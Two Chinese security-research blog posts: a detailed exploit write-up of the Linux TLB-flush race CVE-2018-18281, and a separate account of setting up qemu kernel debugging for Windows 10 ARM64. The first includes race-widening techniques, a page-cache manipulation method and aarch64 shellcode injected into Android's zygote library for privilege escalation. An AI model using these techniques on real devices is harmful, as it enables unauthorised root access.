TLB 缓存延迟刷新漏洞 CVE-2018-18281 解析

author: chengjia4574@gmail.com of IceSword Lab , Qihoo 360

简介

最近, 业内发现了一批内存管理系统的漏洞, project 0 的 Jann Horn 放出了其中一个漏洞 CVE-2018-18281writeup, CVE-2018-18281 是一个 linux kernel 的通用漏洞, 这个漏洞的模式比较罕见, 不同于常规的内存溢出类漏洞, 也不是常见的 UAF 漏洞, 它是由内存管理系统的底层逻辑错误导致的, 根本原因是 TLB 缓存没有及时刷新造成虚拟地址复用, 可以实现较为稳定的提权利用.

TLB

linux 内核通过 多级页表 实现虚拟内存机制, 为了提高访问速度, 一些映射信息会被缓存在 TLB 里, cpu 在访问一个虚拟地址的时候, 会先查找 TLB , 如果没有命中, 才去遍历主存里的多级页表, 并将查找到的映射关系填入 TLB

反过来, 如果某个映射关系要解除, 除了在主存里的相关表项要删除, 还需要对多个cpu core 同步执行 TLB 刷新, 使得在所有 TLB 缓存里该映射关系消除, 否则就会出现不一致.

上述关于 TLB 和内存映射的说明只是简化版本, 用于简单理解这个漏洞的原因, 真正的实现不同操作系统, 不同体系架构, 都不一样. 可以查阅芯片手册, 如 TLBs, Paging-Structure Caches, and Their Invalidation 和一些分析, 如 Reverse Engineering Hardware Page Table Caches

漏洞

先看两个系统调用

  • mremap 系统调用用来改变虚拟内存的映射区域
  • ftruncate 系统调用用来改变文件的大小到指定大小

这两个系统调用表面上看八竿子打不着, 但在 linux 内核的实现里, 他们的调用链条会出现一个竞态条件异常

1
2
3
4
5
6
7
8
9
10
1) sys_mremap() -> mremap_to()->move_vma()->move_page_tables(). 
move_page_tables() first calls move_ptes() in a loop,
then performs a TLB flush with flush_tlb_range().

2) sys_ftruncate()->do_sys_ftruncate()->do_truncate()->notify_change()
->shmem_setattr()->unmap_mapping_range()->unmap_mapping_range_tree()
->unmap_mapping_range_vma() ->zap_page_range_single()->unmap_single_vma()
->unmap_page_range()->zap_pud_range()->zap_pmd_range()->zap_pte_range()
can concurrently access the page tables of a process that is in move_page_tables(),
between the move_ptes() loop and the TLB flush.

mremap 底层实现主要是 move_ptes 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
89 static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
90 unsigned long old_addr, unsigned long old_end,
91 struct vm_area_struct *new_vma, pmd_t *new_pmd,
92 unsigned long new_addr, bool need_rmap_locks)
93 {
94 struct address_space *mapping = NULL;
95 struct anon_vma *anon_vma = NULL;
96 struct mm_struct *mm = vma->vm_mm;
97 pte_t *old_pte, *new_pte, pte;
98 spinlock_t *old_ptl, *new_ptl;
======================== skip ======================
133 old_pte = pte_offset_map_lock(mm, old_pmd, old_addr, &old_ptl);
134 new_pte = pte_offset_map(new_pmd, new_addr);
135 new_ptl = pte_lockptr(mm, new_pmd);
136 if (new_ptl != old_ptl)
137 spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
138 arch_enter_lazy_mmu_mode();
139
140 for (; old_addr < old_end; old_pte++, old_addr += PAGE_SIZE,
141 new_pte++, new_addr += PAGE_SIZE) {
142 if (pte_none(*old_pte))
143 continue;
144 pte = ptep_get_and_clear(mm, old_addr, old_pte);
145 pte = move_pte(pte, new_vma->vm_page_prot, old_addr, new_addr);
146 pte = move_soft_dirty_pte(pte);
147 set_pte_at(mm, new_addr, new_pte, pte);
148 }
149
150 arch_leave_lazy_mmu_mode();
151 if (new_ptl != old_ptl)
152 spin_unlock(new_ptl);
153 pte_unmap(new_pte - 1);
154 pte_unmap_unlock(old_pte - 1, old_ptl);
155 if (anon_vma)
156 anon_vma_unlock_write(anon_vma);
157 if (mapping)
158 i_mmap_unlock_write(mapping);
159 }

结合上面代码, 有两点需要注意

  • 锁, 133 ~ 137 这几行目的是获取 pmd (pmd 指针指向一个存满了 pte 结构的页面) 的锁 (包括旧的和新的), 151 ~ 154 这几行是释放 pmd 锁
  • ptes 拷贝, 对一个 pmd 里的所有 pte 执行拷贝操作, 144 这一行调用 ptep_get_and_clear 将 old_pte 的值赋值给临时变量 pte 并清空旧的页表项, 147 这一行调用 set_pte_at 将刚刚的 pte 赋值给 new_pte 指针

简单而言, move_ptes 将旧的 pmd 页的值 ( ptes ) 拷贝到了新的 pmd 页, 这就是 mremap 函数在底层的实现, 它并不需要删除旧地址对应的 pages, 只需要将旧地址关联到的 ptes 拷贝到新地址关联的页表, 这种拷贝是按照 pmd 为单位进行的, 每处理完一个 pmd, 对应的 pmd lock 就会释放.

ftruncate 函数将文件大小变为指定的大小, 如果新的值比旧的值小, 则需要将文件在内存的虚存空间变小, 这需要调用到 zap_pte_range 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
1107 static unsigned long zap_pte_range(struct mmu_gather *tlb,
1108 struct vm_area_struct *vma, pmd_t *pmd,
1109 unsigned long addr, unsigned long end,
1110 struct zap_details *details)
1111 {
1112 struct mm_struct *mm = tlb->mm;
1113 int force_flush = 0;
1114 int rss[NR_MM_COUNTERS];
1115 spinlock_t *ptl;
1116 pte_t *start_pte;
1117 pte_t *pte;
1118 swp_entry_t entry;
1119
1120 again:
1121 init_rss_vec(rss);
1122 start_pte = pte_offset_map_lock(mm, pmd, addr, &ptl);
1123 pte = start_pte;
1124 flush_tlb_batched_pending(mm);
1125 arch_enter_lazy_mmu_mode();
1126 do {
1127 pte_t ptent = *pte;
========================== skip ==========================
1146 ptent = ptep_get_and_clear_full(mm, addr, pte,
1147 tlb->fullmm);
1148 tlb_remove_tlb_entry(tlb, pte, addr);
========================== skip ==========================
1176 entry = pte_to_swp_entry(ptent);
========================== skip ==========================
1185 if (unlikely(!free_swap_and_cache(entry)))
1186 print_bad_pte(vma, addr, ptent, NULL);
1187 pte_clear_not_present_full(mm, addr, pte, tlb->fullmm);
1188 } while (pte++, addr += PAGE_SIZE, addr != end);
1189
1190 add_mm_rss_vec(mm, rss);
1191 arch_leave_lazy_mmu_mode();
1192
1193 /* Do the actual TLB flush before dropping ptl */
1194 if (force_flush)
1195 tlb_flush_mmu_tlbonly(tlb);
1196 pte_unmap_unlock(start_pte, ptl);
========================== skip ==========================
1212 return addr;
1213 }

结合上面代码, 有三点需要注意,

  • 锁, 1122 行获取了 pmd 的锁, 1196 行释放了 pmd 的锁, 这里的 pmd 锁跟 move_ptes 函数里的是同一个东西
  • pte, 1146 行清空了页表项
  • page, 1185 行调用函数 free_swap_and_cache 释放了 pte 对应的 page cache, 将物理页面释放, 这是与 move_ptes 不同的地方

将上述两个函数的流程放到一起分析, 假设下面这种情况:

假设一个进程有 A,B,C 三个线程:

  • 1) A 映射一个文件 a 到地址 X, 映射条件为: PROT_READ , MAP_SHARED
  • 2) C 循环读取 X 的内容
  • 3) A 调用 mremap 重新映射 X 到 Y, 这个调用会执行下面两个函数:
    • 3.1) move_ptes , 该函数做如下操作:
      • 3.1.1) 获取 X 页表和 Y 页表的锁
      • 3.1.2) 遍历 X 对应页表的 pte , 释放之, 并在 Y 页表重建这些 pte
      • 3.1.3) 释放 Y 页表的锁
      • 3.1.4) 释放 X 页表的锁
    • 3.2) flush_tlb_range : 刷新 X 对应的 TLB 缓存
  • 4) B 调用 ftruncate 将文件 a 的文件大小改为 0, 这个调用会执行下面操作:
    • 4.1) 获取 Y 页表的锁
    • 4.2) 删除 Y 对应的页表
    • 4.3) 释放 Y 对应的 pages
    • 4.4) 刷新 Y 对应的 TLB 缓存
1
2
3
4
5
6
说明: 

实际上 X 和 Y 是两块内存区域, 也就是说可能比一个 pmd 所容纳的地址范围大,
不管是 mremap 还是 ftruncate, 底层实现会将 X 和 Y 按照 pmd 为单位循环执行上表的操作,
即上表所说的 X 页表实际指的是 X 内存区域里的某个 pmd, 这里是为了表达方便简化处理,
下面的描述也是一样.

这里存在的竞态条件是当 4.3 已经执行完毕 (3.1.3 释放 Y 锁 4.1 就可以执行), 地址 Y 的内存已经释放, 物理页面已经返回给 伙伴系统 , 并再一次分配给新的虚拟内存, 而此时 3.2 还没有执行, 这种情况下, 虽然 X 的映射关系在页表里已经被清空, 但在 TLB 缓存里没有被清空, 线程 C 依然可以访问 X 的内存, 造成地址复用

1
2
3
4
5
6
7
8
注意:

除了可以用 ftruncate 函数来跟 mremap 竞争, 还有一个 linux 系统特有的
系统函数 fallocate 也可以起到同样的效果, 原因很简单,
fallocate 和 ftruncate 的底层调用链是一样的

sys_fallocate()->shmem_fallocate()->shmem_truncate_range()
->shmem_undo_range()->truncate_inode_page()->unmap_mapping_range

v4.9 之前的内核都是上述列表显示的代码逻辑

v4.9 之后的内核, move_ptes 的逻辑与上述有些许不同

1
2
3
4
5
6
7
注意:

在 versions > 4.9 的 linux 内核, Dirty 标记的页面会在 move_ptes 函数内部刷新 TLB ,
而不是等到 3.2 由 flush_tlb_range 函数去刷新, 因此, race 发生之后,
线程 C 能通过 X 访问到的内存都是之前 non-Dirty 的页面, 即被写过的页面都无法复用.

这点改变会对 poc 和 exploit 造成什么影响? 留给大家思考.

简单版的 poc

根据上述分析, 一个简单的 poc 思路就出来了, 通过不断检测线程 C 从地址 X 读取的内容是不是初始内容就可以判断 race 是否被触发, 正常情况下, C 读取 X 只会有两种结果, 一种是 mremap 彻底完成, 即 3.2 执行完毕, 此时地址 X 为无效地址, C 的读操作引发进程奔溃退出, 第二种是 mremap 还未完成, C 读取的地址返回的是 X 的初始内容, 只有这两种情况才符合 mremap 函数的定义. 但是由于漏洞的存在, 实际运行会存在第三种情况, 即 C 读取 X 不会奔溃(3.2 还没执行, 地址映射还有效), 但内容变了( 4.3 执行完毕, 物理页面已经被其他地方复用)

这份 poc 可以清晰看出 race 是怎么发生的, 需要注意, 这份 poc 必须配合内核补丁才能稳定触发 race , 否则命中率非常低, 补丁通过在 move_page_tables 函数调用 flush_tlb_range 之前(即 3.2 之前)增加一个大循环来增大 race 条件的时间窗口以提高命中率

上述 poc 的运行结果是, 大部分情况下 poc 奔溃退出, 少数情况下读取 X 会返回一个被其他地方复用的页面

这离稳定提权还有很远的距离, 为了得到稳定利用, 至少有两个问题需要解决:

  • 如何提高 race 的命中率
  • 怎么实现提权

如何提高 race 的命中率

要提高本漏洞 race 的命中率, 就是要增大 move_ptes 函数和 flush_tlb_range 函数之间的时间间隔

1
怎么才能增加这俩函数执行的时间间隔呢?

这里要引入linux内核的 进程抢占 概念, 如果目标内核是可抢占的 (CONFIG_PREEMPT=y) , 则如果能让进程在执行 flush_tlb_range 函数之前被抢占, 那么 race 的时间窗口就够大了, 用户空间的普通程序能不能影响某个进程的调度策略呢? 答案是肯定的.

有两个系统函数可以影响进程的调度

使用这两个函数将 poc 修改为下面的方案,

新建 A,B,C,D 四个线程:

  • 1) A 映射一个文件 a 到地址 X, A 绑定到核 c1, A 调度策略设置为 SCHED_IDLE
  • 2) C 绑定到核 c1, C 阻塞在某个 pipe, pipe 返回则调用 ftruncate 将文件 a 的文件大小改为 0
  • 3) A 调用 mremap 重新映射 X 到 Y, 这将执行下面两个函数:
    • 3.1) move_ptes
    • 3.2) flush_tlb_range
  • 4) D 绑定到核 c2, 监控进程的内存映射情况,如果发生变化则通过写 pipe 唤醒 C
  • 5) B 绑定到核 c3, 循环读取 X 的内容, 并判断是否还是初始值
1
2
3
4
注意:

mremap 执行 move_ptes 函数会引发内存状态变化, 这种变化可以通过
用户态文件 /proc/pid/status 文件获取, 这就是线程 D 的作用

此时, 通过监控线程 D 唤醒 C, 由于A 和 C 绑定在同一个核心 c1, 且 A 的调度策略被设置
为最低优先级 SCHED_IDLE, C 的唤醒将抢占 A 的执行, 如此一来, 3.2 的执行就可能被延迟.
C 被唤醒后立即执行 ftruncate 释放 Y 的内存触发漏洞.

通过上述方案可以理论上让线程 A 在执行 3.1 后, 执行 3.2 前被挂起,
从而扩大 3.1 和 3.2 的时间间隔

这个 poc 是根据上述思路写的

改进版的 poc

实测发现上述 poc 触发率还是低, 借鉴 Jann Horn 的思路, 继续如下修改 poc

改进版方案: 新建 A,B,C,D,E 五个线程:

  • 1) A 映射一个文件 a 到地址 X, A 绑定到核 c1, A 调度策略设置为 SCHED_IDLE
  • 2) C 绑定到核 c1, C 阻塞在某个 pipe, pipe 返回则立即将 A 重新绑定到核 c4, 并调用 ftruncate 将文件 a 的文件大小改为 0
  • 3) A 调用 mremap 重新映射 X 到 Y
    • 3.1) move_ptes
    • 3.2) flush_tlb_range
  • 4) D 绑定到核 c2, 监控进程的内存映射情况,如果发生变化则通过写 pipe 唤醒 C
  • 5) B 绑定到核 c3, 循环读取 X 的内容, 并判断是否还是初始值
  • 6) E 绑定到核 c4, 执行一个死循环.

改进的地方有两点, 1 是增加一个 E 线程绑定到核 c4 并执行死循环, 2 是线程 C 被唤醒后立刻重绑定线程 A 到核 c4, 即让 A 和 E 在同一个核上

这个改变会提高 race 触发的命中率, 个人判断原因是由于当 C 的管道返回后手动执行重绑定操作会比执行其他操作更容易导致 A 立即被挂起

改进版 poc 代码 是根据上述思路写的

利用这个 poc, 我们可以将这个漏洞的 race 命中率提升到可以接受的程度.

物理页面管理

现在我们可以在比较短的时间内稳定触发漏洞, 得到一片已经被释放的物理页面的使用权,
而且可读可写, 怎么利用这一点来提权?

这里需要了解物理内存的分配和释放细节, 物理内存管理属于伙伴系统, 参考 内存管理

物理页面的管理是分层的:

  • node: NUMA 体系架构有 node 的概念, 不同 node 的物理内存是分开管理的
  • zone: 根据物理内存的区域分若干种 zone, 不同场景会优先向不同的 zone 分配 , 比如用户空间申请内存, 会优先从 ZONE_NORMAL 这个 zone 分配, 如果不够再从其他 zone 分配
    • ZONE_DMA
    • ZONE_NORMAL
    • ZONE_HIGHMEM
    • 其他
  • migration-type: 内核根据可迁移性对页面进行分组管理, 用于 anti-fragmentation, 可以参考 内核页面迁移与反碎片机制
    • MIGRATE_UNMOVABLE
    • MIGRATE_RECLAIMABLE
    • MIGRATE_MOVABLE

__alloc_pages_nodemask 函数是 zoned buddy allocator 的分配入口, 它有快慢两条路径:

  • get_page_from_freelist , 快路径
    • 1) if order == 0, 从 per-cpu 的指定 zone 指定 migratetype 的 cache list 里获取 page
      • pcp = &this_cpu_ptr(zone->pageset)->pcp
      • list = &pcp->lists[migratetype]
      • page = list_entry(list->next, struct page, lru);
    • 2) __rmqueue_smallest : 在指定迁移类型下自底向上进行各阶遍历查找所需的空闲页面
      • area = &zone->free_area[current_order]
      • list = &area->free_list[migratetype]
      • page = list_entry(list->next, struct page, lru);
    • 3) __rmqueue_cma, 连续内存分配器 用于DMA映射框架下提升连续大块内存的申请
    • 4) __rmqueue_fallback, 如果在指定迁移类型下分配失败,且类型不为MIGRATE_RESERVE时, 就在 fallbacks 数组里找到下一个 migratetype, 由此获得的阶号和迁移类型查找zone->free_area[]->free_list[]空闲页面管理链表
  • __alloc_pages_slowpath, 慢路径

从漏洞利用的角度, 我们希望将漏洞释放的物理页面尽可能快的被重新分配回来, 所以, 用来触发漏洞释放物理页面的场景和重新申请物理页面用来利用的场景, 这两种场景的 zone, migratetype 最好一致, 而且这两个场景的触发最好在同一个 cpu core 上.

比如, 触发漏洞时, 通过用户空间 mmap 一片地址, 然后访问这片地址触发物理内存分配, 这种分配大概率是从 ZONE_NORMAL 而来, 而且页面大概率是 MIGRATE_MOVABLE 的, 然后用 ftruncate 释放, 这些页面很可能会挂在当前 cpu 的 freelist 上. 所以, 漏洞利用的时候如果是在其他 cpu core 触发申请物理页面, 则可能申请不到目标页面, 或者, 触发申请物理页面的场景如果是某种 dma 设备, 那么也大概率命中不到目标页面.

怎么实现提权

根据上述物理内存管理的分析, 选择使用文件的 page cache 用于重新申请目标物理页面, 在此基础上, 想办法实现提权

linux 上硬盘文件的内容在内核用 page cache 来维护, 如果漏洞触发后释放的页面被用于某个文件的 page cache, 则我们拥有了读写该文件的能力, 如果这个文件恰好是用户态的重要动态库文件, 正常情况下普通进程无法改写这种文件, 但通过漏洞普通进程可以改写它, 这样就可以通过修改动态库文件的代码段来提权.

上述利用思路的关键有3点:

  • 选择目标动态库文件
  • 选择目标文件要改写的位置
  • 提高目标位置所在页面的命中率

这个动态库必须是能被高权限进程所使用
目标位置最好是页面对齐的, 这样目标位置可以以页面为单位加载进内存, 或者以页面为单位置换到硬盘
目标位置被调用的时机不能太频繁, 要不然修改操作会影响系统稳定性, 而且调用时机必须可以由普通进程触发

下面是一个符合上述条件的动态库和函数:

  • libandroid_runtime.so 动态库
  • com_android_internal_os_Zygote_nativeForkAndSpecialize 函数
    • 这个函数被 zygote 调用, zygote 进程是一个特权进程
    • 这个函数在 libandroid_runtime.so (pixel2 PQ1A.181105.017.A1) 文件的偏移是 0x157000, 这个偏移是页面对齐的
    • 这个函数一般情况下不会被调用, 只有启动新的 app 时会被 zygote 调用, 可以由普通 app 触发 zygote 去执行

利用思路

漏洞触发 race 后, 让释放的物理页面刚好被用于目标页面( libandroid_runtime.so 文件的 offset = 0x157000 这个页面), 再可以通过 UAF 地址注入 shellcode 到目标位置, 从而改写 com_android_internal_os_Zygote_nativeForkAndSpecialize 函数的代码逻辑, 最后发消息触发 zygote 去执行 shellcode

如何提高文件 page cache 命中率

这节解决的问题是, 怎么控制 race 释放的页面刚好能被目标页面使用

这篇论文 的 section VIII-B 介绍了一种算法用于精确控制一个 file page cache 的加载

  • 1) 打开一个大文件 a, mmap 到内存
  • 2) 打开目标文件 b, mmap 到内存
  • 3) 在一个循环内, 执行:
    • 3.1) 按照 pagesize 逐页面读取 a 的内容
      这会导致内核申请大量 page cache 来装载文件 a, 
      
      从而迫使其他文件的 page cache 被置换到硬盘
    • 3.2) 判断目标页面 X 是否在内存里, 如果不是, 跳转到 4.1
  • 4) 在一个循环内, 执行:
    • 4.1) 按照 pagesize 逐页面读取 b 的内容, 但遇到目标页面 X 则跳过
      这会导致目标文件除目标页面 X 之外其他页面被重新装载回内存
      
    • 4.2) 判断目标页面 X 是否在内存里, 如果是, 跳转到 3.1
  • 5) 如果读取完全部 b 的内容, 目标页面 X 仍然没有在内存里, 结束.

通过上述算法, 可以让一个目标文件的目标页面 X 被置换到硬盘, 而该文件其他页面保留在内存里, 这样在漏洞触发之后, 再来访问目标页面, 则很大机会会分配刚刚释放的物理页面给目标页面

1
2
3
4
注意:

mincore 函数可以用来判断一个区域内的内存是在物理内存中或被交换出磁盘
上述算法在 linux 的实现依赖于 mincore

exploit code

我改了一份exploit 代码 在这里, 主要包含下面几个文件:

  • compile.sh
  • shellcode.s
  • exp.c
  • watchdog.c

compile.sh

这是编译脚本

1
2
3
4
5
1) aarch64-linux-gnu-as arm_shellcode.s -o arm_shellcode.o  
2) aarch64-linux-gnu-ld arm_shellcode.o -o arm_shellcode
3) aarch64-linux-gnu-objcopy --dump-section .text=arm_shellcode.bin arm_shellcode
4) xxd -i arm_shellcode.bin > arm_shellcode.h
5) make

1~3 是将汇编文件 arm_shellcode.s 编译成二进制并将可执行文件的代码段 (.text) 提取到文件 arm_shellcode.bin

4 使用 linux 的 xxd 工具将 arm_shellcode.bin 放进一个 c 语言分格的数组,后续在 c 代码里以数组变量的形式操作它

5 根据 Android.mk 编译可执行文件

shellcode.s

下面简单看一下 shellcode.s 汇编,不感兴趣可以略过

  • shellcode.s 本身很简单: 读取文件 “/proc/self/attr/current” ,然后将读取的内容作为参数调用 sethostname 函数,从而更改系统的 hostname

  • 因为普通 app 没有权限调用系统函数 ‘sethostname’, 本 exploit 通过注入 shellcode.s 到 libandroid_runtime.so, 然后触发 zygote 进程执行 shellcode.s 达到越权执行的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
// open file
_start:
mov x0, #-100
adrp x1, _start
// NOTE: We are changing the page-relative alignment of the shellcode, so normal
// aarch64 RIP-relative addressing doesn't work.
add x1, x1, attr_path-file_start
mov x2, #0
mov x8, #0x38
svc #0

attr_path:
.ascii "/proc/self/attr/current\0"

第一段汇编作用是 open 文件 “/proc/self/attr/current”, #0x38 是系统调用号,对应系统调用 __NR_openat (系统调用号定义: include/uapi/asm-generic/unistd.h), 将 0x38 放入 x8 寄存器,svc #0 指令触发软中断,进入内核系统调用, 根据 openat 函数的定义, x1 寄存器存放要打开的文件路径的地址, x0 和 x2 这里忽略.

这段汇编执行后,x0寄存器存放返回值,即打开文件的 fd

1
2
3
4
5
6
// read from file
sub sp, sp, #128
mov x1, sp
mov x2, #128
mov x8, #0x3f
svc #0

第二段汇编执行 read 系统调用,读取 128 字节放入栈, #0x3f 对应系统调用 read, x0 存放要读取文件的 fd, x1 是栈顶指针 sp, 在此之前,sp 被移动了#128 字节,相当于一个 128 字节的栈数组作为 buf传给 read 函数第二个参数, x2 是要读取的长度, 这里是 128

这段汇编执行后, sp 指向的位置存放文件 ‘/proc/self/attr/current’ 的内容

1
2
3
4
5
// shove file contents into hostname
mov x1, x0
mov x0, sp
mov x8, #0xa1
svc #0

第三段汇编执行 sethostname 系统调用, #0xa1 对应系统调用 sethostname, x0 即要更新的域名字符串, 这里放入 sp 指针, 即将上一步 read 函数读取的 buf 值作为 sethostname 的参数 name, x1 是长度, 这里值是上一步read 的返回值

这段汇编执行后, hostname 将被更新为文件 ‘/proc/self/attr/current’ 的内容

watchdog.c

这个文件的作用是不断调用 exp 可执行文件并监控 exploit 是否成功, 之所以需要这个主调程序是由于这个漏洞在触发的时候, 大部分情况会引发程序奔溃, 这时候需要一个看门狗程序不断重启它

exp.c

这个文件实现了 exploit 的主体功能

  • kickout_victim_page 函数
  • idle_worker 线程
  • spinner 线程
  • nicer_spinner 线程
  • read_worker 线程
  • segv_handler 函数

kickout_victim_page 函数实现了 如何提高文件 page cache 命中率 的算法, 最开始执行

idle_worker 线程用于触发 mremap 调用, 先绑定到 c1, spinner 唤醒后重绑定 idle_worker 到 c3, 调度策略为 SCHED_IDLE , 其他线程都是普通调度策略

spinner 线程用于触发 fallocate (跟 ftruncate 效果类似) 调用, 绑定到 c2

nicer_spinner 线程绑定到 c3, 用于抢占 idle_worker 的 cpu 使用权

read_worker 线程绑定到 c4, 用于监控目标内存, 一旦发现 race 成功触发, 则注入 shellcode 到目标内存

segv_handler 函数是段错误处理函数, 这里会再一次检测 shellcode 是否已经成功注入到目标文件, 如果是, 则通知 watchdog 停止重启 exp

执行 exploit 之前, libandroid_runtime.so 如下

1
2
3
4
5
6
7
8
9
10
adb pull /system/lib64/libandroid_runtime.so

root@jiayy:CVE-2018-18281# xxd -s 0x157000 -l 100 libandroid_runtime.so
00157000: 0871 0091 5f00 08eb c000 0054 e087 41a9 .q.._......T..A.
00157010: e303 1f32 0800 40f9 0801 43f9 0001 3fd6 ...2..@...C...?.
00157020: 2817 40f9 a983 5af8 1f01 09eb e110 0054 (.@...Z........T
00157030: ff03 1191 fd7b 45a9 f44f 44a9 f657 43a9 .....{E..OD..WC.
00157040: f85f 42a9 fa67 41a9 fc6f c6a8 c003 5fd6 ._B..gA..o...._.
00157050: f801 00b0 d901 00b0 ba01 00f0 7b02 00f0 ............{...
00157060: 9c01 0090

执行 exploit 之后, libandroid_runtime.so 如下

1
2
3
4
5
6
7
8
9
10
adb pull /system/lib64/libandroid_runtime.so

root@jiayy:CVE-2018-18281# xxd -s 0x157000 -l 100 libandroid_runtime.so
00157000: 0000 20d4 0000 20d4 600c 8092 0100 0090 .. ... .`.......
00157010: 2120 0191 0200 80d2 0807 80d2 0100 00d4 ! ..............
00157020: ff03 02d1 e103 0091 0210 80d2 e807 80d2 ................
00157030: 0100 00d4 e103 00aa e003 0091 2814 80d2 ............(...
00157040: 0100 00d4 0000 0014 2f70 726f 632f 7365 ......../proc/se
00157050: 6c66 2f61 7474 722f 6375 7272 656e 7400 lf/attr/current.
00157060: eaff ff17 ....

引用

开启Win10RS4ARM64远程内核调试之旅

author : wup and suezi of IceSword Lab , Qihoo 360


  今年6月,微软联合一线笔记本厂商正式发布了搭载高通骁龙处理器的Windows 10笔记本产品。作为主角的Win10 ARM64,自然亮点无数,对PC设备厂商也是各种利好。实际上,为了与厂商同步发布安全防护产品,IceswordLab的小伙伴早已将底层驱动程序集移植到了Win10 ARM64平台上,笔者也因此积累了一些有趣的内核调试方法。在x86平台使用vmware等虚拟机软件搭建远程内核调试环境是非常方便有效的办法,但目前Win10 ARM64平台没有这样的虚拟机软件,于是笔者利用qemu模拟器DIY一个。

0x0 准备试验环境

物理机系统环境 :Windows10 RS4 x64
虚拟化软件qemu : qemu-w64-setup-20180519.exe
虚拟机系统环境 :Windows10 RS4 ARM64
UEFI 模块 : Linaro 17.08 QEMU_EFI.fd
WINDBG :WDK10 (amd64fre-rs3-16299)附带的WinDBG

0x1 qemu远程内核调试开启失败

  在qemu环境下,我们使用Linaro.org网站提供的针对QEMU(AARCH64)的1708版的UEFI文件QEMU_EFI.fd启动Win10ARM64的系统,并使用bcdedit修改qemu模拟器里的Win10ARM64的启动配置以实现远程内核调试。配置如下图,

我们遇到了两个问题:
(1) 以“-serial pipe:com_1”参数启动qemu模拟器,qemu会被卡住,导致虚拟机系统无法启动;
(2)无论是否开启了基于串口的远程内核调试,系统内核加载的都是kd.dll而非预期的kdcom.dll;

对于问题(1),我们利用qemu串口转发功能,开发一个代理程序:建立一个namedpipe等待windbg的连接,并建立与qemu串口socket服务器的连接,从而实现将pipe上读取(ReadFile)的数据写入(send)到socket、将socket上读取(recv)的数据写入(WriteFile)到pipe。如此我们解决了问题(1)。
至于问题(2),对比VMWare里用UEFI方式部署的Win10RS4x64,不开启内核调试时系统加载的是kd.dll,开启内核调试时系统加载的是kdcom.dll,下面对其进一步分析。

0x2 系统提供的kdcom.dll存在问题

  在Win10RS4ARM64安装镜像的预置驱动里,无法找到serial.sys这个经典的串口驱动;而Win10ARM64笔记本的串口设备是存在的,且串口驱动是高通官方提供的。实际上通过串口远程调试windows,系统正常的启动过程中,调试子系统的初始化是早先于串口驱动程序,调试子系统调用kdcom.dll提供的功能,并不需要串口驱动程序的支持。因此微软没有为Win10RS4ARM64提供串口驱动serial.sys,对我们最终的目标没有影响。

那么问题究竟出在哪里呢?是因为Loader所使用的Qemu中的UEFI有问题吗?

对照qemu的源码可知,qemu为aarch64模拟器环境提供了串口设备PL011。我们研究了Linaro UEFI的源码EDK2并编译了对应的UEFI文件,确保使用的UEFI文件确实提供了串口功能。再用与Win10ARM64模拟器同样的配置安装了Ubuntu for ARM,在这个模拟器里PL011串口通信正常,串口采用MMIO,其映射的基址为0x09000000。但安装Win10后问题依旧:以基于串口的远程内核调试的启动配置来启动Win10RS4ARM64,系统加载的是kd.dll而非期望的kdcom.dll,故而推测是winload 没有识别PL011串口设备、没能去加载kdcom.dll。由此,我们决定直接将kdcom.dll替换kd.dll来使用。不过使用kdcom.dll替换kd.dll后出现了新的问题——系统引导异常,下面进一步分析其原因。

kdcom!KdCompInitialize是串口初始化的关键函数,分析它是如何初始化并使用串口设备的。系统第一次调用kdcom!KdInitialize初始化串口时,传递给KdCompInitialize的第二个参数LoaderBlock是nt!KeLoaderBlock,非NULL,此时kdcom!KdCompInitialize里的关键流程如下:
(1) HalPrivateDispatchTable->KdEnumerateDebuggingDevices已被赋值为hal!HalpKdEnumerateDebuggingDevices,调用返回0xC0000001;
(2) 串口处理器UartHardwareDriver为NULL,没有被赋值;
(3) HalPrivateDispatchTable->KdGetAcpiTablePhase0已被赋值为hal!HalAcpiGetTable,
调用HalAcpiGetTable(loaderBlock, ‘2GBD’)返回NULL,
调用HalAcpiGetTable(loaderBlock, ‘PGBD’)返回NULL,
因此gDebugPortTable为NULL;
(4) 参数LoaderBlocker非NULL且gDebugPortTable为NULL,调用GetDebugAddressFromComPort来配置串口地址;
GetDebugAddressFromComPort调用nt!KeFindConfigurationEntry失败,按照既定策略,基于DebugPortId的值指派串口地址(DebugPort.Address)为0x3F8/0x2F8/0x3E8/0x2E8/0x00五者之一;
(5) 由于gDebugPortTable为NULL,串口处理器UartHardwareDriver赋值为Uart16550HardwareDriver;
由于串口地址(DebugPort.Address)非NULL,调用串口初始化函数UartHardwareDriver->InitializePort初始化串口;
模拟器提供的串口设备为PL011, 串口处理器应被赋值为是PL011HardwareDriver 而非Uart16550HardwareDriver;

至此,我们发现导致异常的原因: 模拟器提供的是PL011串口设备, kdcom.dll虽提供了支持PL011的代码,但未能正确识别适配,依然把它当成了PC的isa-serial串口设备。这应属于kdcom.dll的bug。

0x3 开启qemu远程内核调试

  现在看来,我们需要解决的问题有两个:系统Loader仅加载不支持远程内核调试的kd.dll,系统模块kdcom.dll没能完全支持PL011串口设备。

对于第一个问题,我们简单采取文件替换的办法绕过它。
对于第二个问题,预期可以使用这样的办法解决:开发一个boot类型的驱动,让它能够加载kdcom.dll并主动修正kdcom.dll中所有相关数据,对内核映像Ntoskrnl.exe执行IATHook——把导入地址表中的kd.dll函数地址全部替换成kdcom.dll对应函数地址,最后执行nt!KdInitSystem来初始化调试子系统。这种方案篡改内核数据后,会很快触发PatchGuard蓝屏,因此我们需要设计出一个更可用的方案。

我们可以开发一个能够实现远程内核调试所需的串口通信功能的dll(即没有BUG的kdcom.dll)来替换系统目录下kd.dll,在“禁用驱动程序强制签名”的场景下实现对操作系统初始化流程的劫持。

微软给WINDBG的安装包捆入了一个名为KdSerial的示例项目。这个项目缺少了一些代码,但是关键的部分都在。通过笔者的改造,成功编译得到一个kdserial.dll,它拥有远程内核调试所需的串口通信功能和正确的PL011串口配置,能够替代Win10ARM64RS4系统里的kdcom.dll。将这个kdserial.dll替换系统里的kd.dll,开机时选择“启动设置”菜单里的“禁止驱动程序强制签名”,达成远程内核调试Win10RS4ARM64的目标。

参考文献

[1] Windows Internals 6th
